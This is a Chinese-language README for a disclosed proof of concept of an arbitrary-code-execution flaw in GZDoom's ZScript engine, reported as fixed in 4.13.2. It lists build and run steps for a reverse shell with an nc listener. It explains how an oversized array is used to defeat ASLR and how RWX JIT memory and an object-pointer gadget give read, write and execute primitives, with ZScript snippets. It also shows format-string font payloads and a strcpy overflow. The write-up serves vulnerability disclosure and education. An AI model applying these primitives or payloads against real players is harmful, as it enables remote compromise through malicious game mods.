CVE-2024-54756 的概念验证,这是我在 GZDoom 的 ZScript 脚本引擎中发现的一个漏洞。
我在 GZDoom(https://github.com/zdoom/gzdoom)的 ZScript 功能中发现了一个任意代码执行漏洞的概念验证。攻击者可以分享一个包含恶意 ZScript 源文件的 PK3 文件,并获取受害者电脑的访问权限。
非常感谢 GZDoom 开发团队中的 Rachael 和 Agent Ash 的及时回应,也感谢他们和其他 GZDoom 开发者迅速解决了这个问题!
已在 4.13.0 和 4.13.1 上确认有效,并且早期版本可能也受影响。请警惕任何建议你降级到 4.13.1 或更低版本以玩他们的 WAD 的人。
此 PoC 仅适用于 Linux,但该漏洞可能也存在于 Windows 上。未在 ZDoom 或 LZDoom 上测试,但漏洞可能同样存在。
该漏洞已在此 PoC 发布前向开发者披露,应在 4.13.2 版本中不再存在。据我所知,该版本不包含任何实质性的破坏性更改。
此 PoC 是出于教育目的制作和发布的,以便游戏/脚本引擎开发者了解漏洞如何产生,以及玩家了解恶意游戏模组可能是什么样的。对于任何滥用此 PoC 的行为,我不承担任何责任。请勿利用此来攻击其他玩家的电脑;这是非法的(不需要我来告诉你),尤其是通过视频游戏控制他人的电脑是一种卑鄙的行为。
要使用此 PoC,请下载此仓库并创建一个包含 zscript.zs 和 MAPINFO 的 PK3 文件(实际上是一个扩展名为 .pk3 的 zip 文件):
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
默认 payload 是在 localhost 的 1337 端口上运行一个反向 shell。启动监听器:
nc -nvlp 1337
按如下方式运行 PoC:
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3
如果成功,你现在应该会有一个连接到自身的反向 shell。
此 PoC 仅适用于 Linux。可能第一次尝试无法成功;如果失败,请重试直到成功。
注意:这是我第一次编写漏洞利用说明,我仍在努力提高进行底层说明的能力。此外,我大部分调试工作是用 GDB 完成的,不幸的是我没有留好存储转储来更好地说明我的解释。抱歉!我保证下一次的说明会更好。
GZDoom 是一个旨在提供高性能和可扩展性的 Doom 源代码端口。得益于其强大的功能,许多优秀的 WAD、模组甚至商业总转换都已制作完成。不幸的是,哪里有复杂性,哪里就有出现漏洞的机会,而在此案例中,ZScript 脚本引擎中存在两个漏洞,使得完整的攻击链得以形成。
此攻击击败了 ASLR,并绕过了绕过栈金丝雀的需要。我不认为 Clang 的 CFI 或影子栈会对此有所帮助。
第一个也是最重要的漏洞在于如何处理巨大数组。如果你分配一个足够小的数组,分配的内存区域往往会被零填充,并与其他对象正确分离;从未初始化的内存中读取无法获取信息,也没有对象与数组重叠。但是,如果你分配一个巨大的数组——例如,1073741823 个 32 位字或更多——你将能够从数组的起始点读取和写入多达 4 GiB 的潜在未初始化内存,从而使攻击者能够直接修改其他对象,并通过发现具有已知偏移量的地址来击败 ASLR。此外,此后创建的任何其他数组都会与这个巨大数组重叠。
第二个漏洞在于内存映射权限。为了获得更快的性能,ZScript 代码会尽可能被 JIT 编译为 x86 或 x86-64 字节码。为了实现这一点,代码必须写入到一个内存区域,并且该内存区域必须可执行。然而,W^X 规则规定,一个区域应该是可写或可执行的,但不能同时具备两者。如果同时应用两者(而不是使该区域可写、写入代码、然后使其变成可执行且不可写),那么拥有任意写入原语的攻击者将能够将其升级为任意代码执行;他们可以写入 shellcode,并通过例如修改栈上的返回地址来跳转到它(假设攻击者没有任意执行原语)。如果你查看运行中的 GZDoom 的内存映射,你会看到几个 RWX 区域:
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
因此,如果任意写入和任意执行原语可用,并且攻击者知道任何 RWX 区域的位置,他们就可以写入任意 shellcode 并执行。在写入 JIT 编译代码时将区域设为 RW-,并在准备运行时设为 R-X,会阻止此 PoC,但不会阻止攻击者通过例如修改栈上数据(ROP)或堆上的数据来获得代码执行。
此外,还有一个有用的小工具。还记得当分配一个巨大数组时,之后创建的任何其他数组都会重叠吗?这包括对象指针数组。与 C++ 对象非常相似,ZScript 对象可以包含变量和函数指针。假设我们有这个对象:
class WeirdObject
{
uint one;
uint two;
uint three;
uint four;
Function<clearscope void()> funcptr;
}
如果我们创建一个包含指向 WeirdObject 实例的指针的数组,那么攻击者可以使用巨大数组将指针更改为任何想要的位置,并通过访问对象的字段来更改指向的数据,从而为我们提供一个超出堆范围的任意读/写原语。ZScript 中的指针会检查是否非空,但不会检查是否合理。
函数指针的存在还为我们提供了一个任意执行原语;然而,这有点不那么直接,需要创建一个伪 VMFunction 来满足虚拟机。一旦在利用代码中引入对 ZScript 函数的调用,该代码就不再是 JIT 编译的。仍然有效,但调试和利用起来会更加麻烦。可能有更好的方法来完成这部分,但我对 GZDoom 内部的研究不够深入,不知道更好的方法。
需要注意的一点:WeirdObject 有继承的成员变量,因此第一个成员从偏移量 0x28 开始。
现在,我们有以下工具:
我们如何将它们链接起来以制作一个利用呢?
首先,由于启用了 ASLR,我们需要找出 RWX 区域的位置。任何一个都可以。巨大数组可访问的堆部分包含指向 RWX 区域内函数的地址,但也包含指向其他区域的地址;我们如何区分?回想一下,在 Linux 上,ASLR 有 28 位熵(有时更少!),这意味着虽然地址掩码 0x7fffffe00000 的位数是随机的,但 bits 0x0000001fffff 是静态的。因此,在禁用 ASLR 的情况下,假设我们有以下 RWX 区域:
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
然后我们可以使用以下 ZScript 代码打印指向 RWX 区域内 JIT 编译的 ZScript 函数的指针:
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
通过将打印结果与 0x1fffff 进行 AND 运算获得偏移量,你可以使用这些偏移量来识别指向 RWX 区域的指针。你知道的偏移量越多,利用成功的概率就越大。
接下来,我们需要准备任意执行原语。我们通过使用任意写入原语修改小工具对象(如上面声明的 WeirdObject)中的函数指针来实现。在声明 u32pBFA9000 之后,开始创建任意写入和执行小工具对象:
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // 任意写入指针。
ppGadgetObjects[1] = New("WeirdObject"); // 任意执行对象。
ppGadgetObjects 与 u32pBFA9000 正好在开头重叠,并且请记住 WeirdObject 特定的成员从偏移量 0x28 开始。任意写入原语如下所示,其中 TARGET_ADDR 是目标写入地址,QWORD 是要写入的 64 位整数,_H/_L 分别表示 64 位整数的高 32 位和低 32 位:
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
我承认,我对 ZScript 函数指针的工作方式了解不足,这部分我仍然觉得很难解释,但无论如何我会尽力解释。如果让你更困惑,我道歉。
我真的应该为此画个图,但现在我不想做 ASCII 艺术。请参阅利用源代码以了解上述内容的具体实现。 一旦上述内容处理完毕,我们就可以修改小工具对象中的函数指针。当我们调用它时,它将在 shellcode 写入后执行。
最后一步是编写 shellcode 本身。由于此 PoC 调用 shell 命令,还需要写入一些字符串("/bin/bash"、"-c"、命令字符串)。这部分可能简单也可能困难,具体取决于你想要执行的内容。
当所有操作完成后,你调用执行小工具 WeirdObject 指向的函数,现在你就已经执行了自己的 shellcode。
我确实发现了一些其他漏洞,但找不到利用它们并给出完整 ACE 链的方法。strcpy() 栈溢出漏洞已在 4.13.2 版本中修复。mysnprintf() 格式字符串漏洞目前尚未修复,但如果要尝试利用它,祝你好运。
FFont 构造函数中存在一个格式字符串漏洞(实际上是两个),位于 common/fonts/font.cpp:
[...]
if (nametemplate != nullptr)
{
if (!iwadonly)
{
for (i = 0; i < lcount; i++)
{
int position = lfirst + i;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
[...]
}
}
else
{
FGameTexture *texs[256] = {};
if (lcount > 256 - start) lcount = 256 - start;
for (i = 0; i < lcount; i++)
{
TArray<FTextureID> array;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
TexMan.ListTextures(buffer, array, true);
[...]
}
[...]
}
[...]
}
[...]
来自 FONTDEFS 数据段条目的 TEMPLATE 参数被直接传递给 mysnprintf()。这意味着可以有一个条目尝试基于栈变量加载字体,如下所示:
EVILFONT
{
TEMPLATE LOL%hhx
}
或者一个将已写字符数写入栈上某处,导致崩溃的条目:
EVILFONT
{
TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}
输出长度受到限制这一事实并不重要;百分号符号无论如何都会被解析,无论最大长度如何。
mysnprintf() 是一个自定义的、公共领域的 snprintf() 实现,为了性能而牺牲了灵活性。利用它比 libc 的标准实现要困难得多。例如,使用 %n,你只能写入 32 位字,并且不能使用 %<num>$n 来写入特定的栈元素。
此外,gamedata/statistics.cpp 中的 LevelStatEntry() 函数中有一个危险的 strcpy() 调用,其源数据可能比目标缓冲区更长。该函数:
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
FLevelStatistics s;
time_t clock;
struct tm *lt;
time (&clock);
lt = localtime (&clock);
strcpy(s.name, level);
strcpy(s.info, text);
s.timeneeded=playtime;
es->levelstats.Push(s);
}
FLevelStatistics 结构体(分配在栈上)如下所示:
struct FLevelStatistics
{
char info[60];
short skill;
short playerclass;
char name[24];
int timeneeded;
};
而 LevelStatEntry() 是这样被调用的,使用 LevelData.Levelname(类型为 std::string)作为参数:
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
FString lsection = LevelData[i].Levelname;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
lsection.ToUpper();
infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);
LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
要到达这个点,需要从 FLevelLocals::ChangeLevel()(位于 g_level.cpp)开始的一整系列其他调用,但我在这里不多做展示。我只会说,在执行链到达这里的过程中,没有对 LevelData.Levelname 的长度进行检查或限制。
在现代系统上,这应该是不可利用的;栈金丝雀会阻止任何通过此途径的栈粉碎尝试,并且 ASLR 会阻止用户知道返回地址。此外,你只有一个小工具:在退出 LevelStatEntry() 时覆盖返回地址。然而,在较老的系统上,这些防御可能不存在,并且 JIT 编译的 ZScript 代码可能提供用于利用的小工具。